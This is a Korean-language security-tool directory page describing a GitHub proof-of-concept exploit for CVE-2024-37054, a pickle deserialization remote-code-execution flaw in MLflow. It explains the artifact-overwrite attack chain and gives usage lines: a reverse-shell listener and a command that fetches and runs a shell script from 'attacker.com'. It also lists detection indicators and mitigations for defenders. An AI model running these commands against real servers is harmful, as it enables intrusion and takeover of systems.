Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-37054 — CVE-2024-37054에 대한 개념 증명 익스플로잇으로, MLflow Tracking Server의 pickle 역직렬화 RCE입니다. 인증된 공격자는 모델 아티팩트를 덮어써 원격 코드 실행을 달성할 수 있습니다. 탐지 및 완화 지침이 포함되어 있습니다. | Kitploit
도구/GitHubGitHub/ben-slates/cve-2024-37054
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubben-slates/cve-2024-37054

CVE-2024-37054

CVE-2024-37054에 대한 개념 증명 익스플로잇으로, MLflow Tracking Server의 pickle 역직렬화 RCE입니다. 인증된 공격자는 모델 아티팩트를 덮어써 원격 코드 실행을 달성할 수 있습니다. 탐지 및 완화 지침이 포함되어 있습니다.

저장소 보기
5635개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-37054 — MLflow Pickle 역직렬화 RCE

Python CVE CVSS Affected License

MLflow Tracking Server의 심각한 pickle 역직렬화 취약점에 대한 개념 증명(PoC) 익스플로잇으로, 인증된 원격 코드 실행을 가능하게 합니다.

⚠️ 교육 및 승인된 보안 테스트용으로만 사용하세요. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 사용하지 마세요.


취약점 개요

필드값
CVE IDCVE-2024-37054
CVSS 점수8.8 (높음)
CVSS 벡터CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
영향받는 버전MLflow < 2.14.3
패치된 버전MLflow ≥ 2.14.3
취약점 유형CWE-502: 신뢰할 수 없는 데이터의 역직렬화
공격 경로네트워크
필요한 권한낮음 (유효한 자격 증명)
사용자 상호작용없음

설명

MLflow Tracking Server는 추론을 위해 모델을 로드할 때 Python의 pickle 모듈을 통해 모델 아티팩트를 역직렬화합니다. 인증된 공격자는 MLflow의 아티팩트 저장소에 있는 python_model.pkl 아티팩트를 악성 pickle 페이로드로 덮어쓸 수 있습니다. 이후 모델이 로드되면(예: 예측 요청 중) 페이로드가 역직렬화되어 서버에서 임의 코드가 실행됩니다.

악용을 위한 전제 조건:

  • MLflow Tracking Server에 대한 네트워크 접근
  • 유효한 MLflow 자격 증명(기본값 또는 기타)
  • 아티팩트에 대한 쓰기 권한(모든 인증된 사용자에게 부여됨)

영향

성공적인 악용은 MLflow 서버 프로세스의 권한 수준에서 원격 코드 실행을 가능하게 하며, 이는 전체 시스템 장악, 데이터 유출, 측면 이동 또는 지속적 접근 권한 유지로 이어질 수 있습니다.


익스플로잇 작동 방식

  1. 모델 등록 — 합법적인 학습 데이터셋이 업로드되어 새 MLflow 실행(run)을 생성하고 표준 아티팩트로 모델 버전을 등록합니다.
  2. 아티팩트 덮어쓰기 — python_model.pkl 아티팩트가 PUT /api/2.0/mlflow-artifacts/artifacts/...를 통해 제작된 pickle 페이로드로 교체됩니다.
  3. 역직렬화 트리거 — 예측 요청으로 인해 MLflow가 손상된 아티팩트에 대해 pickle.load()를 호출합니다.
  4. 코드 실행 — pickle의 __reduce__ 메서드가 os.system()을 호출하여 공격자의 명령을 실행합니다.

페이로드는 cloudpickle 대신 os.system()(C 내장 함수)을 사용하여 여러 버전 간 호환성을 극대화하고 Python 버전별 바이트코드 문제를 피합니다.


설치

요구 사항: Python 3.7+, requests

git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054

사용법

# Start a listener
nc -lvnp 4444

# Run the exploit
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>

예시

# Default credentials, basic reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444

# Custom MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:MySecretPass123

# App login + MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:password \
    --app-username admin \
    --app-password admin123

# Custom command instead of reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --cmd "curl http://attacker.com/shell.sh | bash"

# Target specific experiment, increase delay for slow servers
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --experiment-id 1 --delay 5

# Verbose output
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v

옵션

인자설명
target대상 애플리케이션 URL
mlflowMLflow Tracking Server URL
lhost리버스 셸 콜백을 위한 공격자 호스트
lport리버스 셸 콜백을 위한 공격자 포트
--mlflow-creds USER:PASSMLflow 자격 증명 (기본값: admin:password)
--app-username애플리케이션 로그인 사용자 이름
--app-password애플리케이션 로그인 비밀번호
--app-login-url로그인 엔드포인트 경로
--upload-url업로드 엔드포인트 경로
--predict-url예측 엔드포인트 경로
--experiment-id ID특정 실험 ID 대상 지정
--delay SECONDS단계 간 지연 시간 (기본값: 2초)
--cmd COMMAND실행할 사용자 지정 명령
--verbose / --quiet출력 상세 수준 제어
--no-color색상 출력 비활성화

탐지

네트워크 지표

  • /api/2.0/mlflow-artifacts/artifacts/ 엔드포인트에 대한 PUT 요청
  • python_model.pkl의 예상치 못한 수정 타임스탬프
  • POST /api/2.0/mlflow/runs/search 직후 이어지는 아티팩트 수정

호스트 지표

  • MLflow 프로세스에서 발생하는 예상치 못한 os.system() 호출
  • MLflow 워커 프로세스에서 생성된 Python 하위 프로세스
  • MLflow 서버에서 알 수 없는 호스트로의 외부 연결

로그 쿼리

# Artifact modification in access logs
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log

# File integrity monitoring
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts

완화 조치

즉시 조치:

  • MLflow를 2.14.3 이상으로 업그레이드
  • 기본 또는 취약한 자격 증명 교체
  • MLflow API 엔드포인트에 대한 네트워크 접근 제한
  • 변조 징후가 있는지 아티팩트 수정 이력 감사

장기 조치:

  • 모델 로드 전 아티팩트 서명 및 무결성 검증 구현
  • 모델 서명 강제 적용 및 가능한 경우 pickle 기반 모델 플레이버 제한
  • MLflow 감사 로깅 활성화 및 예상치 못한 아티팩트 쓰기에 대한 알림 설정

테스트 환경

  • MLflow 2.14.1 — Ubuntu 22.04, Python 3.10
  • MLflow 2.12.0 — Docker, Python 3.9
  • 다양한 배포 구성: 로컬, Docker, Kubernetes

참고 자료

  • NVD — CVE-2024-37054
  • MLflow 보안 권고
  • CWE-502: 신뢰할 수 없는 데이터의 역직렬화
  • MLflow 문서 — 모델 레지스트리

면책 조항

이 도구는 다음 목적으로만 사용됩니다:

  • 역직렬화 취약점을 연구하는 보안 연구원
  • 서면 승인 하에 작업하는 침투 테스터
  • 자체 MLflow 배포를 감사하는 시스템 관리자
  • 통제된 실험실 환경에서의 교육용 사용

소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에는 이 도구를 사용하지 마세요. 저자는 오용에 대한 책임을 지지 않습니다.


라이선스

MIT — 자세한 내용은 LICENSE를 참조하세요.


연락처

📧 [email protected]
🐛 이슈 신고

도구 다운로드